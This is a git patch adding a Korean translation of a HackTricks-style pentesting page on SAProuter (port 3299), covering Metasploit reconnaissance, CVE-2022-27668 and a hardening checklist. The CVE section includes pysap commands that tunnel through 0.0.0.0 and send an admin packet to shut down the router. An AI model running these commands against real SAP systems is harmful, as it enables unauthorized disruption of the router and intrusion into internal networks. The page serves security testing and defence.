From c1840269ff36a0cf189d854d2a027146b1a86af6 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 06:15:55 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/3299-pentesting-saprouter.m --- .../3299-pentesting-saprouter.md | 73 +++++++++++++++++-- 1 file changed, 68 insertions(+), 5 deletions(-) diff --git a/src/network-services-pentesting/3299-pentesting-saprouter.md b/src/network-services-pentesting/3299-pentesting-saprouter.md index 692509d7e..580e57824 100644 --- a/src/network-services-pentesting/3299-pentesting-saprouter.md +++ b/src/network-services-pentesting/3299-pentesting-saprouter.md @@ -1,3 +1,5 @@ +# # 3299/tcp - Pentesting SAProuter + {{#include ../banners/hacktricks-training.md}} ```text PORT STATE SERVICE VERSION @@ -9,9 +11,9 @@ PORT STATE SERVICE VERSION SAProuter는 SAP 시스템을 위한 리버스 프록시 역할을 하며, 주로 인터넷과 내부 SAP 네트워크 간의 접근을 제어합니다. 일반적으로 TCP 포트 3299를 통해 조직의 방화벽을 통과하여 인터넷에 노출됩니다. 이 설정은 SAProuter를 침투 테스트의 매력적인 대상으로 만들며, 고가치 내부 네트워크로의 게이트웨이 역할을 할 수 있습니다. -**스캔 및 정보 수집** +**스캐닝 및 정보 수집** -처음에 **sap_service_discovery** 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행 중인지 확인하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다. +초기에는 **sap_service_discovery** 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행 중인지 확인하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다. ```text msf> use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101 @@ -41,7 +43,7 @@ msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN ``` **내부 호스트의 블라인드 열거** -SAProuter에서 직접 정보가 제한된 시나리오에서는 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름의 존재를 추측하고 확인하려고 시도하여 직접 IP 주소 없이 잠재적인 대상을 드러냅니다. +SAProuter에서 직접적인 정보가 제한된 시나리오에서는 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름의 존재를 추측하고 확인하려고 시도하여 직접적인 IP 주소 없이 잠재적인 대상을 드러냅니다. **침투 테스트를 위한 정보 활용** @@ -55,11 +57,72 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run 이 접근 방식은 안전한 SAProuter 구성의 중요성을 강조하고, 목표 지향적인 침투 테스트를 통해 내부 네트워크에 접근할 수 있는 가능성을 부각시킵니다. SAP 라우터를 적절히 보호하고 네트워크 보안 아키텍처에서의 역할을 이해하는 것은 무단 접근으로부터 보호하는 데 중요합니다. -Metasploit 모듈 및 그 사용에 대한 더 자세한 정보는 [Rapid7의 데이터베이스](http://www.rapid7.com/db)를 방문하세요. +Metasploit 모듈 및 사용법에 대한 자세한 정보는 [Rapid7의 데이터베이스](http://www.rapid7.com/db)를 방문하세요. -## **참고문헌** +--- + +## 최근 취약점 (2022-2025) + +### CVE-2022-27668 – 부적절한 접근 제어 ➜ 원격 관리 명령 실행 + +2022년 6월 SAP는 SAProuter(모든 커널 ≥ 7.22)의 치명적인 결함(CVSS 9.8)을 다룬 보안 노트 **3158375**를 발표했습니다. 인증되지 않은 공격자는 허용된 `saprouttab` 항목을 악용하여 원격 호스트에서 **관리 패킷**(예: *shutdown*, *trace-level*, *connection-kill*)을 보낼 수 있습니다. 이는 라우터가 `-X` 원격 관리 옵션 없이 시작되었을 때도 가능합니다. + +이 문제는 지정되지 않은 주소 **0.0.0.0**을 타겟으로 하여 라우터의 자체 루프백 인터페이스로 터널을 구축할 수 있는 가능성에서 발생합니다. 터널이 설정되면 공격자는 로컬 호스트 권한을 얻고 모든 관리 명령을 실행할 수 있습니다. + +실제 악용은 **pysap** 프레임워크로 재현할 수 있습니다: +```bash +# 1. Build a loopback tunnel through the vulnerable SAProuter +python router_portfw.py -d -p 3299 \ +-t 0.0.0.0 -r 3299 \ +-a 127.0.0.1 -l 3299 -v + +# 2. Send an admin packet (here: stop the remote router) +python router_admin.py -s -d 127.0.0.1 -p 3299 +``` +**영향을 받는 버전** + +* 독립형 SAProuter 7.22 / 7.53 +* 커널 7.49, 7.77, 7.81, 7.85–7.88 (KRNL64NUC/UC 포함) + +**수정 / 완화** + +1. SAP 노트 **3158375**와 함께 제공된 패치를 적용합니다. +2. `saprouttab`의 `P` 및 `S` 라인에서 와일드카드(`*`) 대상을 제거합니다. +3. 라우터가 `-X` 옵션 없이 시작되고 인터넷에 직접 노출되지 않도록 합니다. + +--- + +## 업데이트된 도구 및 트릭 + +* **pysap** – 적극적으로 유지 관리되며, 사용자 정의 NI/Router 패킷을 제작하거나 ACL을 퍼징하거나 CVE-2022-27668 익스플로잇을 자동화하기 위해 `router_portfw.py`, `router_admin.py` 및 `router_trace.py`를 제공합니다. +* **Nmap** – 사용자 정의 SAProuter 프로브를 추가하여 서비스 탐지를 확장합니다: + +```text +Probe TCP SAProuter q|\x00\x00\x00\x00| +ports 3299 +match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/ +``` + +NSE 스크립트 또는 `--script=banner`와 결합하여 배너 문자열(`SAProuter on ''`)을 유출하는 버전을 빠르게 식별합니다. +* **Metasploit** – 위에 표시된 보조 모듈은 pysap로 생성된 SOCKS 또는 NI 프록시를 통해 여전히 작동하여 라우터가 직접 접근을 차단하더라도 전체 프레임워크 통합을 가능하게 합니다. + +--- + +## 강화 및 탐지 체크리스트 + +* 경계 방화벽에서 포트 **3299/TCP**를 필터링합니다 – 신뢰할 수 있는 SAP 지원 네트워크에서만 트래픽을 허용합니다. +* SAProuter를 **완전히 패치** 상태로 유지합니다; `saprouter -v`로 확인하고 최신 커널 패치 수준과 비교합니다. +* `saprouttab`에서 **엄격하고 호스트 특정** 항목을 사용합니다; `*` 와일드카드를 피하고 임의의 호스트나 포트를 대상으로 하는 `P`/`S` 규칙을 거부합니다. +* 서비스 시작 시 **`-S ` + SNC**를 사용하여 암호화 및 상호 인증을 강제합니다. +* 원격 관리(`-X`)를 비활성화하고, 가능하다면 리스너를 `127.0.0.1`에 바인딩하고 필요한 트래픽을 위해 외부 리버스 프록시를 사용합니다. +* 의심스러운 `ROUTER_ADM` 패킷이나 `0.0.0.0`에 대한 예상치 못한 `NI_ROUTE` 요청을 위해 **dev_rout** 로그를 모니터링합니다. + +--- + +## **참조** - [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/) +- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/) ## Shodan